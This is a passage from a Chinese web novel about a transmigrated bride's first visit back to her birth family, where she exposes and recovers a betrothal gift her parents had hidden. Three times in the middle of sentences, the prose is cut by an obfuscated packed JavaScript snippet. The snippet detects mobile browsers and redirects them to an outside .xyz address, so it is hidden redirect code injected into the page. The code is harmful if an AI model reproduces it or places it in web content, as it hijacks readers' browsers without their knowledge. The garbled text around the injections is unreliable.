“她阿爸阿妈也是疼她的,第一回上门的时候就说了,孩子在乡下吃了不少苦,想给她找个好对象。人家说了,知道维舟人品好,愿意结这个亲,还说要是维舟不愿意,婚事就作废,他们给孩子重新找一个。双方都讲体面的,我看这婚事蛮好的。” 没想到刘婶背后这么帮着自己说话。 不过,柳绵绵觉得奇怪,原主记忆里,亲生父母跟她说的是,她出生就和沈维舟定了娃娃亲,如今双方都到了适婚年龄,沈家就上门提亲了。 可按刘婶的说法,似乎是原主亲生父母主动上门的? 柳绵绵走进去,院子里正闲磕牙的两个人吓了一跳,宽脸庞、三角眼的大妈站了起来,倒是还笑着和柳绵绵打了个招呼:“新娘子回来啦?” 柳绵绵没接茬,她自说自话地接了下去:“哎哟,时候不早了,我得回去做饭了,回见啊!” 等人走了,刘婶尴尬地解释:“那是4号院的曹大妈,平时没事就爱给人说媒拉纤,维舟没请她帮忙说亲,她不高兴,故意这么说的,你不要理会她。” “借题发挥嘛,我懂的。”柳绵绵倒也没把这事放在心上,转而问,“刘婶,婚约的事,是我爸妈先上门提的啊?” 刘婶收拾着针线笸箩,说:“维舟说自己身体不好,不想拖累别人,一直推着不愿意说亲。要不是你阿爸阿妈上门,沈教授他们都把这事忘了。毕竟新社会了,谁还会惦记着十几二十年前的娃娃亲呀?” 说完觉得不对,又马上找补:“不过幸亏有你这个娃娃亲,要不然维舟哪里能娶到媳妇哟!” 柳绵绵调侃:“找个有正式工作的城里人嘛。” 刘婶心虚得声音都大了:“哦哟,你听曹大嘴胡说八道,找不着的,要不是有你,维舟就是打光棍的命!” 这真是被逼急了,都不惜贬低起沈维舟了。 柳绵绵笑了出来,把手里的纸袋递给刘婶:“巷子口的奶油面包,我已经吃了半个了,剩下的你们分。” 柳绵绵回房洗漱了下,闲着没事,翻了翻写字台上摆着的几本书,《电磁学》、《固体物理学》、《弹丸空气动力学》……好吧,完全看不懂。 柳绵绵在写字台前坐下,回想刘婶说的话。 她原先一直以为是沈家为了给病入膏肓的儿子娶媳妇,主动找柳家提的亲,可照刘婶的说法,事实恰恰相反,亲事是柳家主动提的。 问题是,原主的记忆里根本没有这一茬。 其实也不奇怪,毕竟两千块钱彩礼的事,原主也并不知情。 亲生父母瞒着她的事情恐怕还多着呢。 这么看,原主亲生父母算盘打得真是太精了。嫁出去一个跟他们不亲、他们也不太喜爱的女儿,换回来两千块钱彩礼和沈家这样一门亲家。照他们的想法,没准是觉得,今后一家子甚至是七亲八眷的升职加薪都不愁了吧。 哪知道原主被渣男撺掇着私奔,后面就像多米诺骨牌似的,一件事接着一件事,沈维舟病死,俞婉车祸致残,沈维云出事……两家彻底反目成仇。 照南城的习俗,明天是三朝回门。晚上饭桌上俞婉提起这事,说是照风俗准备了烟、酒、罐头、喜糖四样礼,又说另外还准备了几块时新的布料,问柳绵绵还有没有什么缺的。 柳绵绵还没搭腔,沈维云先开口了:“什么都缺呢,最好是把家里东西统统搬过去。” 沈伯康瞪向女儿:“沈维云,这就是你的教养?” 沈维云一点不怵她爸,嘟囔:“我哪里说错了……”还想再说什么,对上沈维舟的视线,心虚地眨眨眼,立马把话头缩了回去:“好嘛,我吃饭还不行?”她别人都不怕,就怕亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669998|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥。 柳绵绵跟没听见他们父女俩对话一样,若无其事对俞婉说:“照风俗拎四样礼过去就行了,拎多了邻居还以为我回娘家显摆去了。” 好好一句话,从她嘴里说出来,总有种夹枪带棒的味道。 俞婉却只是笑笑,温声说:“还是绵绵想得周到,确实不好搞特殊。那布料你先放起来,下次回去再带吧。” 俞婉温和的眼神,让柳绵绵觉得自己像个无理取闹的熊孩子。 哪怕为了维持原主人设,柳绵绵都不禁觉得自己态度过分,把到嘴边的那些不识好歹的“台词”又给咽了回去。 算了,沈家人跟原主又不熟悉,随便演演得了。 再说浪子还能回头呢,她只是脾气坏一点而已,慢慢变好也不是没可能的嘛。 柳绵绵说服了自己,应了声好,没再说话,专心致志和摆在她面前的冬笋炒肉片奋斗。冬笋鲜甜,肉片滑嫩,非常好吃。 沈维舟抬头看了柳绵绵一眼。 她昨天晚上闹了一场,却没有出门,只是说外面有贼,她那个姓朱的情夫还因此被派出所抓了。 这和上辈子完全不一样。 还有,上辈子母亲也在饭桌上问过她回门带什么,她认为礼太轻了,又提了要糕点、茶叶,还要了钱,说是要给侄子和左邻右舍的孩子派红包,实际上,回了娘家以后,她一分钱都没掏。 这也完全不一样。 等回了房间,眼看柳绵绵在卫生间洗漱了半天,之后还倒了热水开始泡脚,沈维舟就更觉得不对了。 牙尖嘴利、夹枪带棒说话的时候,和上辈子还是挺像的,但是悠闲靠在椅背上泡脚的样子,却跟换了个人似的。 上辈子那个柳绵绵,一直都是尖锐敏感甚至自卑的,根本就不会有这种松弛的状态,对他的态度也一直非常恶劣。 “你要泡脚吗,我帮你热水倒起来?”感觉到沈维舟的视线,柳绵绵主动示好,“泡脚能加速新陈代谢,缓解疲劳,睡前泡一下,还能提高睡眠质量,你手脚冰凉,泡泡脚很好的。” 总归要在一个屋檐底下待着,柳绵绵还是倾向于和沈维舟搞好关系。 反正这人也活不久了,权当临终关怀了。 这么一想,别说帮着倒个水,就是帮着洗脚,也是可以的。 沈维舟冷淡道:“不必。”眼底的疑惑更浓了。 不必就不必。 柳绵绵擦干净脚丫子,倒掉洗脚水,很快钻进被窝。 沈维舟还坐在写字台前看书,柳绵绵虽然奇怪他一个命不久矣的人,怎么精力还这么充沛,但也没多想,倒是琢磨了下明天回门的事。 她还挺好奇原主那对既要又要还要的父母的,好容易找回来的亲生女儿,在他们眼里,似乎就是个攫取利益的筹码。 当然,还有两千块钱。 有些人就是对别人的钱太有占有欲,这是病,得治。 5. 第5章 一觉醒来已经九点多,柳绵绵扭头看了眼,没看到沈维舟,只看到叠得方方正正的被子。 昨晚她睡着的时候,沈维舟还坐在写字台前面看书。晚睡早起,也不睡午觉,他一个病入膏肓的人,休息的时间竟远少于她。 要不是原书里他的的确确在不久后就病死了,柳绵绵都要怀疑,那些说他病入膏肓的人,根本就是在造谣。 起床简单洗漱后,柳绵绵在刘婶“雨浇春,今年是除夕逢雨水,一整年都会风调雨顺”的念叨声中吃完了早饭。 “公交车也没个准点,可以出门了,宁可早不要晚,其实现在也不早了。” 刘婶把俞婉准备的两大袋礼品拿了出来,边催着柳绵绵,边冲书房的方向喊:“维舟,时间不早了,该出门了!” 沈维舟从书房出来,他今天穿了一套铅灰色的西装,衬得身材益发挺拔修长,忽略过分苍白的脸色的话,整个人看上去英俊又斯文,有种说不出的气质。 柳绵绵看了他一眼,非常自觉地把两大袋礼品都拎了起来。 就他这病殃殃的样子,可不敢指望他拎东西。 柳绵绵率先走出院子,沈维舟看了眼她手上拎的东西,在刘婶的催促声中慢悠悠跟了上去。 两个人一前一后,隔着一臂的距离,偶尔碰见巷子里的邻居,坐着闲磕牙的,或者是遛娃的,都会越过走在前面的柳绵绵,和沈维舟打招呼。 “小沈今天瞧着精神头不错。” “哎哟,今天是三朝回门,陪媳妇儿回娘家吧?” “小沈,回头闲了来家里下棋啊!” …… 原主和巷子里的人不熟,加上结婚当天摆脸色闹腾,邻居们不待见她也正常。柳绵绵好奇的是,成天冷着一张脸话又少的沈维舟,似乎跟邻居关系还挺不错? 这些大爷大妈们看他的眼神,就跟看家里最受宠的小辈一样,满满的慈爱。 柳绵绵好奇回头的时候,差点被一辆自行车给撞了,躲闪过程中,左手拎的袋子甩出去掉在了地上。 骑自行车的小青年连说了几声“不好意思”,沈维舟捡起地上的袋子看了眼,挥挥手让小青年走了。 柳绵绵伸手去拿袋子:“我来拎吧。” 沈维舟没给她:“我来。” 柳绵绵打量他一眼,语气带着怀疑:“你行不行的哦?”随即反应过来,又说:“哦,你那个袋子里就两条烟两斤糖,重倒是不重的,你先拎着吧,不行再给我。” 沈维舟:“……” 旁边一个遛娃的大妈噗嗤一声笑了:“哎哟,新娘子说话不过脑子的哦,哪里能问男人行不行的哦,男人嘛,嘴上都是行的呀!” 另一个大妈也笑着调侃:“你懂什么哦,新娘子这是心疼小沈呢,刚结婚才两三天嘛,小沈肯定也是累的嘛!” 其他人也都笑了起来。 柳绵绵:“……” 这车开得,猝不及防。 柳绵绵瞥一眼沈维舟,这人惯常是面无表情,倒是看不出有没有不好意思。反正她是不好意思的,她上辈子母胎单身,网络上骚话连篇小黄人,现实里连手都没跟人牵过。 柳绵绵揉揉发烫的耳根,快步往前走,身后大爷大妈们调侃着沈维舟,又催促他快点跟上新娘子。 到了站点后,没等多久,公交车就来了。 这个时间公交车倒是不挤,还有一些空位。柳绵绵找了个靠窗的空位坐下,沈维舟淡淡瞥她一眼,在她旁边的位置坐下。 车子缓缓开出去,沿着芷江路一路往西。车窗外极富年代感的街景,像文艺片里的长镜头,从眼前一帧一帧划过。 转过一个路口,路两旁的建筑更加低矮,路也变得更加颠簸。 柳绵绵明显还不适应这个年代的路况,车子过坑时跳了一下,整个人被抛了起来,屁股悬空一秒后,才又重重落回座椅上。 慌乱中她“啊”地喊了一声,手胡乱地抓住了什么东西。 等车子重新平稳,柳绵绵回过神才发现自己正紧紧地攥着沈维舟的手。 瞄一眼对方似乎更冷了几分的脸色,柳绵绵连忙放开他,解释说:“我不是故意的,我就是被吓了一跳。” 沈维舟深深看她一眼,忽然开口问:“被什么吓了一跳,车过了个坑?” 柳绵绵一时语塞,明显一整个车厢的人,都对这种路况司空见惯。刚才她喊了一声,好几个人都扭头看她了,似乎是不敢相信有人竟会因为车子过坑颠簸而吓得尖叫。 谁让几十年后华国成了基建狂魔呢?城市里路面但凡稍微有点不平整,都会很快被撬开重铺。柳绵绵是真没见过这么坑坑洼洼的路。 半晌,她拿捏着原主那股子尖酸的劲儿,阴阳怪气反问:“你这是故意讽刺我?我一个乡下长大的土包子,从小到大没怎么坐过汽车,被吓一跳有什么奇怪?你城市长大的是不一样,见多识广嘛!” 沈维舟眼神变冷,转头看向前方,没再和她说话。 后面的路车子又跳了四五回,柳绵绵有了心理准备,每次车子一跳,她就牢牢抓住前排的座椅靠背。就这么蹦着跳着,等到南城军工厂站点时,柳绵绵已经完全适应这个时代的路况了。 两人又一路沉默着从公交车站点往军工厂家属院走。 柳绵绵莫名冒出个念头,他俩这哪像刚结婚的小夫妻三朝回门,倒是更像去上坟偶然遇见的陌生人。 这么一想还挺逗,柳绵绵笑了起来,惹得沈维舟莫名其妙地看了她一眼。 走到家属院门口时,斜刺里突然冲出个人,拦在他们身前。 “柳绵绵,你站住!” 柳绵绵站住,看向对方。 原主的记忆里有这个人,眼前这个烫着卷发、身上穿着时下最流行的喇叭裤的女人,是朱永齐的妹妹朱美琪。 朱美琪瞪着柳绵绵,一连串地诘问:“柳绵绵,我哥不是去找你的吗,好端端的怎么会被派出所抓走,这到底是怎么回事?!” 柳绵绵翻个白眼:“你要是疯了就赶紧去六院挂个号,我跟你哥又不熟,他被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669999|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派出所抓了关我什么事?” 原主和朱永齐勾搭上以后,对朱美琪也是爱屋及乌,经常买些小东西讨好朱美琪。朱美琪看不上乡下来的土包子,可有便宜为什么不占?土包子嫁了痨病鬼,以后能占的便宜只会更多。 只是她没想到,土包子会翻脸不认人。 朱美琪怒气冲冲:“你!” 瞥一眼冷眼旁观的沈维舟,朱美琪觉得自己明白了,冷笑:“这么着急忙慌地撇清,是怕你男人有什么想法?怕什么呀,大家都是一个院儿的朋友,就是平时关系好,这有什么的。” 话是这么说,其实朱美琪根本不关心沈家人怎么看柳绵绵,关她什么事? 柳绵绵也冷笑:“谁跟你们是朋友,你朋友会一口一个土包子的骂你吗?你们兄妹俩可真是够莫名其妙的,一个两个的,都往我身上泼脏水。都是故意的吧,看我好欺负?” 朱美琪看不上原主,当着原主的面也会嫌弃她这个也不懂那个也不会,是个乡下来的土包子。 朱永齐从来不制止他妹妹,反倒和原主说,美琪只是嘴巴坏其实人很好的,那么骂她也是恨铁不成钢,想要帮她改掉那些坏毛病。 然后再油嘴滑舌说几句“不管你是土包子还是洋芋丝,我都觉得你最可爱”、“等以后挣了大钱,给你买最贵的表、最时髦的衣服,让你做南城最摩登的女郎”之类的话,原主就被感动得不行了。 这还是那个在她面前忍气吞声的柳绵绵吗?结个婚而已,几天不见,这人怎么跟变了个人似的? 朱美琪都懵了。 由于太过震惊,朱美琪都结巴了:“你、你怎么……” 柳绵绵翘起下巴,趾高气扬:“我可不是从前那个任你搓扁捏圆的柳绵绵了。” 这是再真不过的真话了。 朱美琪自然不可能明白这句话的真实意思,她有自己的理解。 从前的柳绵绵是乡下来的土包子,在他们面前只能忍气吞声,现在她嫁进了沈家,住到非富即贵的求知巷去了,哪里还需要对他们低声下气? 他哥还说给人忽悠得言听计从,屁! 柳绵绵没再理睬朱美琪,看向沈维舟:“我们走吧。” 沈维舟若有所思地看了一眼朱美琪,跟在柳绵绵身后进了家属院。 柳家住二楼,五十平方的一个小套房,在这个年代算是住房条件相当不错了。 柳绵绵和沈维舟走到楼前,迎面遇上同一栋楼的邻居,对方笑呵呵说:“哦哟,绵绵回来啦?快回家吧,你爸妈哥嫂都特地请了假,一早就在家忙活了呢!” 柳绵绵笑眯眯和对方打了个招呼:“我爸妈可真疼我。” 邻居大妈笑容微滞,一栋楼住着,柳家那两位疼不疼这个半路找回来的女儿,她还能不知道?特地请假在家忙活,可不是为了女儿,是看姓沈的女婿面子。 这话自然不能说,大妈干笑:“那是的,好容易找回来的呢,那肯定疼的,疼的。” 柳绵绵笑笑,必须疼啊,不疼也得疼呢。 6. 第6章 二楼一共六户人家,柳家在中间的位置,左边是二车间蒋主任家,右边是保卫科李副科长家。 李副科长老娘赵大妈搬了小板凳在走廊上摘菜,看见柳绵绵就喊了起来:“小丁,你家绵绵回来啦!” 先出来的是大嫂应晓芬,瓜子脸,剪了头短发,看着挺利落的,她手里捏着一把葱,笑道:“你们回来啦,快进来!” 亲妈丁明霞举着铲子,探身看了眼,也笑得温和:“快进来,我再炒两个菜就好了。” 丁明霞比她儿媳时髦多了,半长不短的头发明显烫过,脖子上还扎了个小丝巾,五官精致,风韵犹存,看得出年轻时应该是个美人。 结合原主的记忆,柳绵绵确信,这婆媳俩还从没对“她”这么热情过。 尤其大嫂应晓芬,从原主进城,就几乎把“不欢迎”三个字刻在了脑门上。 家里两间半的卧室,只要柳锦诗一嫁人,儿子立马能拥有独立房间,哪想半路杀出个程咬金,乡下人,没工作,猴年马月才能找到对象结婚?要是在家一拖四五年,儿子都十几岁了,又得考虑结婚住房问题了。 这些话原主曾亲耳听见应晓芬向柳永捷抱怨。 除此之外,还有亲戚朋友拿“真假小姑子”调侃她,让应晓芬也觉得很没面子。 应晓芬估计也没想到,“真小姑子”会比柳锦诗更早出嫁。 “永捷,给你妹妹妹夫倒杯茶。”柳志刚坐在小客厅的沙发椅上,端着一家之主的架子吩咐大儿子。 柳永捷眼皮都没抬,靠在椅子上没动,应晓芬忙主动去倒了茶,笑呵呵对沈维舟说:“这可是爸藏了好几年的茶叶,寻常都不舍得喝的,维舟你尝尝,小心烫哈。” 她一副熟稔的样子,喊得也很亲热,沈维舟却只是看了一眼桌上的茶杯,并没有说话。 没人说话,场面一下子冷了下来。 柳绵绵喝了口茶,余光瞥见柳志刚蹙了下眉。不知道他是不满柳永捷把他的话当耳旁风,还是不满沈维舟这个新女婿既不主动喊人也不主动寒暄。 柳志刚是军工厂三车间主任,柳永捷跟着他爹就在三车间干活。既是亲爹又是领导,照理柳永捷应该对柳志刚言听计从。 可实际上,柳永捷从小被爷奶溺爱长大,并不怎么怕他爹。而且,柳永捷一直觉得,自己没能进机关当干事,只能在车间当个普通工人,是他爹不肯抹开面子帮他“活动”的原因。 他在家一向是这副要死不活的样子。 厨房传来刺啦刺啦的炒菜声,空气中浮动着浓郁的肉菜香味,这个小小的客厅里却陷入沉默的尴尬。 谁都不说话,柳志刚几次张了张嘴,又闭了回去,柳绵绵猜测他是觉得主动说话有失他一家之主的威严。他还几次想给柳绵绵递眼色,柳绵绵视而不见,认认真真地喝茶。 没过多久柳锦诗和柳浩回来了。 柳浩手里捏着根糖葫芦,姑侄俩有说有笑地进门。柳锦诗穿了一件猪肝红的外套,里面搭着雪白的衬衣,她五官清秀,身材匀称,眉眼间有一种自信的风采。 看到坐在沙发客厅里的柳绵绵和沈维舟,柳锦诗很自然地打招呼,柳浩则用白眼表达了自己不欢迎的情绪。 柳锦诗一回来,家庭氛围就变得分外融洽。 她先是跟柳志刚讨论军工厂目前的一些政策和工作,不着痕迹地夸了夸三车间的工作,柳志刚神色明显温和了下来。 然后她又告诉柳永捷,自己给他们小组写了篇稿子,表扬他们春节期间牺牲与家人团聚的时间,加班加点保障生产,稿子已经通过审核,明天就会在全厂广播,柳永捷脸上终于也有了一丝笑意。 她甚至还夸了柳绵绵和沈维舟,夸柳绵绵衣服好看,夸沈维舟气色好,总之你好我好大家好,沉闷的气氛烟消云散。 等到吃饭的时候,丁明霞加入“夸夸群”,母女俩画风一致,把柳志刚父子俩哄得眉开眼笑。 当然,她们也没有忽略柳绵绵和沈维舟。 只是不管她们说什么,沈维舟的表情都没有任何变化,也不怎么吭声。 柳绵绵效仿沈维舟践行沉默是金,闷头吃饭之余,只“嗯嗯啊啊”地敷衍了几声。 吃饭最重要,有什么事吃饱了再说。 * 吃完饭应晓芬和柳锦诗收拾桌子,吃饱喝足的柳绵绵从带来的袋子里拿了一包糖出来拆开,说:“我去喊邻居们过来吃喜糖。” 吃饱了可以开始干活了。 等其他人反应过来的时候,柳绵绵已经抓了把糖出去了,没一会儿,楼上楼下的邻居都被喊了过来。柳绵绵干脆把两包糖都拆了,一人抓了一大把,又把茶几果盘里的瓜子分给大家。 眼睁睁看着两大包大白兔奶糖快被分没了,柳浩瞪着眼睛喊:“那是我的糖,土包子……呜呜呜……”被他妈捂住了嘴。 应晓芬也肉疼得不行,家里就一个孩子,这两大包糖本来应该是她家小浩的!问题这话只能想想不能说。 李副科长捧着面碗,站走廊上笑呵呵说:“结婚了就是不一样哈,绵绵这脾气都变好了。” 柳绵绵又从带来的袋子里拆了一条烟,直接拿了两包往李副科长衣兜里一塞:“李叔,我知道你平时爱抽烟,这烟给你,谢谢你帮着把我找回来,不然我现在还在乡下种地呢。” 李副科长吓了一跳:“哎哎哎,这烟可是有钱都不一定买得着的,不行不行,我不能收。” 柳绵绵坚持:“今天我高兴,要不是你们帮着把我找回来,我哪能来到南城,哪能在南城安家落户,两包烟而已,哪里比得上我的人生与前途?这烟你必须收,这是我一点小小的心意!” 当初原主能被找回来,这些邻居确实是出了力的,只是原主一直认为他们看不起她,和邻居并不怎么来往。 李副科长终于还是收了烟,柳绵绵顺势又给其他几位也分了烟。 眼看两条烟分到最后只剩了一包,柳志刚和柳永捷都傻了。前面分糖他们还没感觉,分烟他们可太心疼了。这可是特供烟,有钱都买不到的。 平时可能没人会真的收下这么贵的烟,偏偏柳绵绵说是感谢大家帮忙把她找回来。 紧接着,柳绵绵把袋子里的两瓶茅台也拿了出来,笑呵呵道:“这两瓶酒……” 丁明霞再也忍不住了,赶忙走过来打断她:“酒我先收起来,你爸最近血压有点高,不能喝酒,我藏起来,免得他嘴馋偷喝。”连着袋子里剩下的两个桔子罐头,赶紧都一起抱走了。 天知道眼睁睁看着两条烟和两包糖就这么被嚯嚯了,她的心都快滴血了。 偏偏柳绵绵说的话冠冕堂皇,她还不能阻止。 柳绵绵笑眯眯地:“我妈总是这么善解人意又体贴细致。” 邻居们有些看不懂,但收了东西总是高兴的,不管是奶糖还是香烟,都是高档货,柳绵绵说是感谢大家帮忙,想想他们多多少少确实出了力,拿一把糖一包烟,其实也不亏心。 再说丁明霞平时为人温柔和善,口碑一向不错,于是也纷纷附和:“老丁这人确实是。” 只有蒋主任家大闺女蒋红梅靠在栏杆上,噗地吐出个瓜子壳,笑了:“可真逗。” 柳绵绵嘴角微抽,差点演不下去,她稍微整理了下情绪,才幽幽叹了口气,继续说:“我爸妈是真疼我,我以前不懂事,内心还怨怪他们,现在想想真是不应该。我在乡下吃粗粮啃地瓜长大的,可不是见识少?他们对我高标准严要求,还不是为了我好?” 赵大妈拿手掌擦擦眼角:“可不是,做父母的都是为了孩子,你看你今天回门,你爸妈一早就在家忙活了。”老太太年轻守寡,独自辛苦带大三个孩子,对小辈非常疼爱,自然相信柳志刚夫妇对艰难寻回的亲生女儿无比疼爱。 做妈的,哪个不是苦心为孩子付出?大妈大嫂们纷纷感慨起来。 丁明霞放好东西出来,听邻居都在夸他们夫妻疼爱孩子,微微愣了下,随即笑道:“可怜天下父母心,做父母的对孩子都是恨不得掏心掏肺的,我们也不想别的,就盼着他们好好过日子,平平安安,和和美美的。” 柳绵绵眼眶微红,感动道:“妈我知道的,我肯定会跟沈维舟好好过日子的。” 她看向沈维舟,沈维舟面无表情,沉静深黑的眸底意味不明。 柳绵绵淡定挪开视线,继续台词:“我们会相互扶持,经营好我们自己的小家的。虽然我和维舟现在都没有工作也没有收入,但我们俩都有信心,会努力过上美满生活的。” 她话锋突兀一转,接着说:“所以妈,之前你说回门的时候,把维舟家给的两千块钱彩礼都给我带回去,我思来想去,觉得这些钱还是应该留一些给你们,算是我作为女儿的一点心意。” 丁明霞脑子一下懵了,所以什么? 有人惊呼:“哦哟,沈家给了两千彩礼,不是两三百吗?!” 沈家聘礼丰厚,在家属院是出了名的。当初有人好奇问丁明霞彩礼多少,丁明霞含糊说了句没多少。大家猜测聘礼那么多,彩礼可能就适当意思一下,随大流给个两三百顶多三五百就差不多了。 没想到是两千。 以为是没多少,丁明霞碍着面子不想说,结果是太多了人家低调不说。 两千啊! 去年厂长家娶儿媳妇也才出了八百八! 几乎所有人都一脸震惊,这其中甚至还包括柳永捷和应晓芬。因为丁明霞跟他们夫妻俩说的也是“没多少,两三百,贴嫁妆还不够呢”。 原来是两千。 和两三百差了将近十倍。 其实别说其他人震惊,丁明霞也很震惊。 她实在没想到这件事会被柳绵绵知道,还会被她当众说了出来。她以为柳绵绵的脾气,跟沈家人可能也相处不好,没人会跟她说彩礼的事。 当初她说把聘礼都给她带回沈家,彩礼没多少钱都贴补在嫁妆里了时,柳绵绵明明是很高兴的,没有一丝怀疑。 丁明霞感觉自己脑门儿嗡嗡响,直到这时候,她才后知后觉反应过来,柳绵绵今天太反常了。 以为她是结婚以后懂事了脾气变好了,却原来是挖了坑在这里等着他们呢。 丁明霞气得发晕。 邻居们窃窃低语起来,柳志刚和隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670000|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋主任存在竞争关系,两家关系本来就一般,蒋主任媳妇儿钱爱真一向跟丁明霞不对付,看热闹不嫌事大,声音很大地说:“老丁你一直说彩礼没多少,是不想把彩礼给闺女吧?” 蒋红梅噗地吐出个瓜子壳,呛她妈:“钱爱真同志,你以为丁婶子是你啊,成天对闺女敲骨吸髓的,就为了补贴宝贝儿子。” 钱爱真气得操起笤帚追着蒋红梅打。 丁明霞气得快吐血,她看向柳志刚,柳志刚脸色也非常难看,夫妻俩本打算把这笔钱存作养老金,现在被柳绵绵当众戳破,这钱他们就不可能再藏着了。 煮熟的鸭子竟要飞走了,丁明霞心疼得快窒息,硬撑着笑了下,说:“钱嫂子你怎么能这么误会我?” 又说:“绵绵,你这孩子,你有这个孝心就行了,说好了都让你带回去的。你放心,爸妈有工作,自己能挣工资,哪里会拿你的彩礼钱?” 事到如今,这钱不拿出来是不可能了。 丁明霞咬咬牙:“我这就给你。” 左右都是要拿出来,就没必要再扭扭捏捏。丁明霞进屋取了钱,一个印着“南城军工厂”字样的信封,她捏着信封递给柳绵绵,极其舍不得,却还要体贴大方地说:“你看,我钱早都准备好了,就等着给你呢。” 其实是春城君子兰价格节节攀升,听说年初有人将一盆君子兰卖到了十四万元的天价,她娘家弟弟准备收购君子兰运到春城交易。 这两千块钱,是她瞒着柳志刚准备入股的。 应晓芬反应过来,看了柳永捷一眼,柳永捷呲啦一声站了起来:“妈,爸,这可不是小钱,应该家里先商量一下吧?” 柳浩炮弹一样冲过去抱住丁明霞的腿:“奶奶,钱给我买糖,买书包,买玩具,不能给这个女人,不能给这个乡下土包子。” 他扒着丁明霞的手大叫大嚷。 柳绵绵在丁明霞缩回手之前飞快接过信封,捏了捏,鼓鼓囊囊的,估计差不多。 她满脸失望难过,说:“妈,本来我想把这钱留给你们的,你们年纪大了,也该有些钱放在身边。不过我现在改变主意了,因为我发现,如果这些钱留下,有些人只会认为是理所当然,而且这钱最后怕也不会落你们手里。钱还是先放我这儿吧,你们有需要再跟我说。” 她语重心长:“老话说,富养女儿穷养儿,小小年纪金钱观就这么重,对我这个做姑姑的也半点没有尊敬,妈,你们真该好好教育教育孩子了!” 长吁短叹一番后,柳绵绵看了沈维舟一眼,“落寞”地说:“我们走吧。” * 邻居们都散开后,丁明霞把门一关,颓然在沙发坐下,声音溢出几分压抑的哽咽:“她这哪是回门,她这是想逼死我啊,她拿走了钱不算,她还要说那些话!” 柳永捷靠坐在椅子上,脸色不太好看,沉声问:“妈,你为什么骗我们说彩礼才两三百?” 丁明霞顿了下,过了会儿才说:“你花钱大手大脚的,我哪里敢让你知道?你要是能戒了别去打牌,也别跟那些狐朋狗友的来往,我怎么会瞒着你?” 柳永捷啧了声,烦躁道:“那么多钱呢,就这么给她了?” 丁明霞叹了口气:“不然呢?她那个脾气你又不是不知道,闹起来没完没了的,到时候咱们家就成了家属院的大笑话了,咱们一家子的脸往哪儿搁?再说,咱们也不能为了两千块钱得罪沈家。结亲是为了借势,可不是为了结仇,你爸、你妹还有你的前途,都指望他们家呢。” 柳永捷撇撇嘴:“我一个车间工人,能有什么前途?” 到底没再多说什么,算是接受了丁明霞的说法。 应晓芬一边哄着柳浩一边暗暗翻了个白眼。 柳永捷这傻子,回回被他妈忽悠得找不着北,依她看,老两口就是故意想瞒下这笔钱,只是柳绵绵也不是省油的灯,到最后竹篮打水一场空。 柳锦诗挨坐在丁明霞身边,轻轻拍着她的背,柔声细语地劝:“妈,两千块不是最重要的,维系住沈家的关系才最重要。” 她提醒丁明霞:“以后沈家要是问起,这钱就是你们事先说好了,回门的时候让她带回去的。” 柳锦诗微微垂下眼眸,丁明霞平时什么事都会和她商量,可这件事她事先并不知道,如果知道,她会劝丁明霞不要因小失大。 沈维舟的母亲俞婉是国防工业办的副主任,国防工业办可是军工厂的直属上级部门,俞婉在军工厂的事上,是能说得上话的。 柳志刚眉头紧皱:“锦诗说得没错,这件事到此为止。” 指着柳永捷:“还有你,不想一直当车间工人,就别招惹那丫头!” 柳永捷不吭声了。 丁明霞抱着柳锦诗呜咽出声。 道理她都知道,可是,两千块钱,还有被嚯嚯掉的烟和糖,还有入股君子兰能翻不知几番的分红……都没了,都没了啊! 丁明霞一想到这些,简直心痛得无法呼吸。 同一时间,怀揣巨款离开军工厂家属院,柳绵绵整个人神清气爽,她笑眯眯对沈维舟说:“走,姐姐现在有很多钱,请你喝汽水去。” 7. 第7章 柳绵绵不止买了汽水,她还买了家属院附近一家点心铺子的桃酥。 点心铺子是家夫妻店,据说用的祖传秘方,桃酥做得特别酥脆香甜,非常受欢迎,甚至有人坐一两个小时的公交,特地过来买。柳绵绵买到了最后几斤桃酥,乐得眉开眼笑。 “要碰运气的,有时候一大早就卖完了。”柳绵绵喜滋滋说,“咱们今天运气不错。” 眼看就要四月了,春深叶茂,正午的阳光特别耀眼,但好像都没有她的笑容灿烂。 沈维舟挪开视线。 明明上辈子她讨厌他,不爱搭理他,偶尔说话也都是奚落他,可现在她却拈了片桃酥一个劲儿往他面前递:“试试呀,真的很好吃的!你帮我要回了彩礼,这些都是我感谢你的。” 眼看再不接,她就要直接喂进他嘴里了,沈维舟冷着脸接过桃酥和汽水。 “彩礼是你自己要回来的,我什么都没做。”他冷淡地说。 要不是心存疑惑,沈维舟根本就不会踏进柳家的大门,那一家人的自私无耻,他在上辈子就已经看得清清楚楚。 不过,决定过来之前,他怎么也想不到今天会看到这样的场景。 